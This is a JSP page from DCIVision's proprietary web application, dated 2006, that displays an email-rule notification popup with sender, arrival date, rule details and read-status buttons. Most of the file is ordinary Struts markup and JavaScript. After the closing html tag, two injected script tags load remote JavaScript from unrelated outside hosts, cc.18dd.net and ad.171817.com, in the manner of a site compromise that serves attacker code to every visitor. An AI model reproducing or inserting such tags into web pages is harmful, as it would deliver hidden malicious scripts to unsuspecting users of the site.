<%
/*
 * @(#)EmailRuleNotification.jsp
 *
 * Copyright (c) 2006 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EmailRuleNotification.jsp

  This class is reflecting business logic uses.

    @author           greatwall shao
    @company          DCIVision Limited
    @creation date    2006-11-10 

*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.sql.Timestamp"%>
<%@page import="com.dcivision.framework.Utility"%>
<%@page import="com.dcivision.framework.TextUtility"%>
<%@ page import="com.dcivision.alert.bean.*"%>
<%@ page import="com.dcivision.alert.core.*"%>
<%@ page import="java.util.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="messageBean" scope="request" class="com.dcivision.alert.core.MessageInfoBean"/>
<html>
<head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!--for refresh HomepageChannel-->
<script type='text/javascript' src='<%= request.getContextPath() %>/js/alert.js'></script>
<jsp:include page="/js/alert.jsp" flush="true"/>
<!--end-->

<script language="javascript">

function reloadParent() {
<%if(!Utility.isEmpty((String)request.getAttribute("isList"))){%>
//window.opener.document.location.href = "ListSystemMessage.do";
if(window.opener){
	if(window.opener.listMessageForm){
		window.opener.listMessageForm.submit();
	}else{
	window.opener.document.location.href = "ListSystemMessage.do";
	}
}
<%}%>
}
function setUnRead()
{
/*
document.editMessageDetailForm.submit();
defer();
 //setTimeout(window.close(),1000);
 window.close();*/
 setUnReadAjAX(document.editMessageDetailForm);
}
function defer(){
var i=0;
 for(i=0;i<10000;i++){
 document.editMessageDetailForm.unRead.value="yes";
 }
}
  function hideBlock(b) {
    document.getElementById(b).style.display = "none";
  }

  function showBlock(b) {
  document.getElementById(b).style.display = "block";
  }
 
 window.onbeforeunload = function(event){
 try{
   window.opener.hideDim();//tc add for hidden the dim
 }catch(e){
 }
}
</script>
</head>
<body bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000" onUnload="reloadParent();">
<layout:popupTitle titleKey ="home.message.system.message"/>
<form name="editMessageDetailForm" method="post" action="./EditMessageDetail.do" >
  <input type="hidden" name="unRead" value="yes"/>
  <input type="hidden" name="messageType" value="emailRuleNotification"/>
  <input type="hidden" name="systemLogID" value="<bean:write name="messageBean" scope="request" property="systemLogID"/>"/>
  <table width="100%" cellpadding="20" cellspacing="0" border="0">
  <tr>
    <td>
      <table cellpadding="0" cellspacing="0" border="0" width="100%">
        <tr>
          <td>
        <tr>
          <td colspan="2"><table width="100%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td class="sectionTitle" valign="bottom" nowrap><bean:message key='home.message.emailrule.title' arg0='<%=messageBean.getRuleName()%>'/>
                  : </td>
              </tr>
            </table></td>
        </tr>
        <tr>
          <td class="blackLine" colspan="2"><html:img src='Spacer.gif'  width='1' height='1'/></td>
        </tr>
      </table>
      <table width="100%" border="0" cellspacing="4">
        <tr>
          <td></td>
          <td colspan="2"></td>
          <td>&nbsp;</td>
          <td></td>
        </tr>
        <tr>
          <td width="11%"  class="<layout:classLabel mandatory='false'/>"><bean:message key='home.message.meeting.sender'/>
            :</td>
          <td  class="dataField"colspan="2"><bean:write name="messageBean" scope="request" property="sender"/></td>
          <td width="5%" class="<layout:classLabel/>"><bean:message key='home.message.meeting.arrival_date'/>
            :</td>
          <td  width="28%" class="dataField">          
            <bean:write name="messageBean" scope="request" property="arrivalDate" format="<%=TextUtility.getDateTimeFormat().toPattern()%>"/>
          </td>
        </tr>
		<!-- <tr>
          <td width="11%"  class="<layout:classLabel mandatory='false'/>"><bean:message key='home.message.emailRule.detail'/>
            :</td>
          <td  class="dataField"colspan="2"><bean:message key='home.message.emailRule.detail_info'/></td>
                  </tr>-->
        <tr> </tr>
        <tr>
          <td colspan="3"><strong>
            <bean:message key='home.message.emailRule.emailRule_detail'/>
            :</strong></td>
          <td></td>
          <td></td>
        </tr>
        <tr>
          <td class="<layout:classLabel/>"><bean:message key='home.message.emailrule.rule_name'/>
            :</td>
          <td  class="dataField" colspan="2"><bean:write name="messageBean" scope="request" property="ruleName"/></td>
          <td class="<layout:classLabel/>"><bean:message key='home.message.emailrule.rule_type'/>
            :</td>
          <td  class="dataField"><bean:write name="messageBean" scope="request" property="ruleType"/></td>
        </tr>
        <tr>
          <td class="<layout:classLabel/>"><bean:message key='home.message.emailrule.rule_description'/>
            :</td>
          <td  class="dataField" colspan="4"><pre><bean:write name="messageBean" scope="request" property="ruleDesc"/></pre></td>
         
        </tr>   
		 <tr>
          <td class="<layout:classLabel/>"><bean:message key='home.message.emailrule.match_email'/>
            :</td>
          <td  class="dataField" colspan="4"><bean:write name="messageBean" scope="request" property="matchEmail"/></td>
        </tr>       
        <tr> </tr>
      </table>
	  <!--
	  <table>
	  <tr>
	  <td>
	 <bean:message  key='home.message.emailrule.match_condition'/>
	  </td>
	  <td align="right">
 <span id="divShareShow" style="display:none">
                    [<a href="" onClick="showBlock('divShareHide'); hideBlock('listCalendar');hideBlock('divShareShow'); return false" ><bean:message key ='calendar.label.hide'/></a>]
                    
                  </span>

                  <span id="divShareHide" style="display:block">
                    [<a href="" onClick="hideBlock('divShareHide');showBlock('listCalendar'); showBlock('divShareShow'); return false" ><bean:message key ='calendar.label.show'/></a>]
                   
                  </span>
	  </td>
	  </tr>
	  </table>
	    <div id='listCalendar' style="display:none">
	  <table>
        <tr>
          <td colspan="6"><hr /></td>
        </tr>	  
        <tr>
          <td  width="100">&nbsp;&nbsp;&nbsp;</td>
		  <td>
		  <div align="center">
		  <table width="500" align="center">
		  <tr>
		  <td align="center"  class="<layout:classLabel/>"><div align="left"><bean:message key ='home.message.emailrule.rule_name'/></div></td>
		  <td align="center"  class="<layout:classLabel/>"><div align="left"><bean:message key ='home.message.emailrule.condition'/></div></td>
		  <td align="center" class="<layout:classLabel/>"><div align="left"><bean:message key ='home.message.emailrule.match_value'/></div></td>
		  </tr>
		   <%--
		    MessageInfoBean messageInfoBean = (MessageInfoBean)messageBean;			
			List rulenameList =messageBean.getRulenameList();
			List conditions =messageBean.getConditions();
   			 List matchValues = messageBean.getMatchValues();
			 for(int i =0;i<rulenameList.size();i++){%>
		   <tr align="center">
		    <td  class="dataField" ><%=rulenameList.get(i)%></td>
		    <td  class="dataField" ><%=conditions.get(i)%></td>
			 <td  class="dataField" > <%=matchValues.get(i)%></td>
		   </tr>
		   <%}--%>
		  
		  <tr>
		  <td align="center"  class="<layout:classLabel/>"><div align="left"><bean:message key ='home.message.emailrule.rule_name'/></div></td>
		  <td colspan="2" class="<layout:classLabel/>"><div align="left"><bean:message key ='home.message.emailrule.ation_taken'/></div></td>
		  </tr>
		  <%--	
			List rulenameList2 =messageBean.getRulenameList();
   			 List actionList = messageBean.getActionList();
			 for(int i =0;i<rulenameList2.size();i++){%>
		   <tr align="center">
		    <td  class="dataField" ><%=rulenameList2.get(i)%></td>
		    <td  class="dataField" colspan="2" ><%=actionList.get(i)%></td>
		   </tr>
		   <%}--%>		  
		  </table>
		  </div>
		  </td>
		  <td></td>
		  
        </tr>	  

	  </table>
	  </div>-->
	   <table align="center">
            <tr>
              <td width="38%" bgcolor="" align="center">
                <html:standardButton label="home.message.meeting.keep_unread" onClick="return setUnRead();"/>
                <html:standardButton label="home.message.emailrule.acknowledged" onClick="javascript:opClose();"/>
              </td>
            </tr>
      </table>
</form>
</body>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>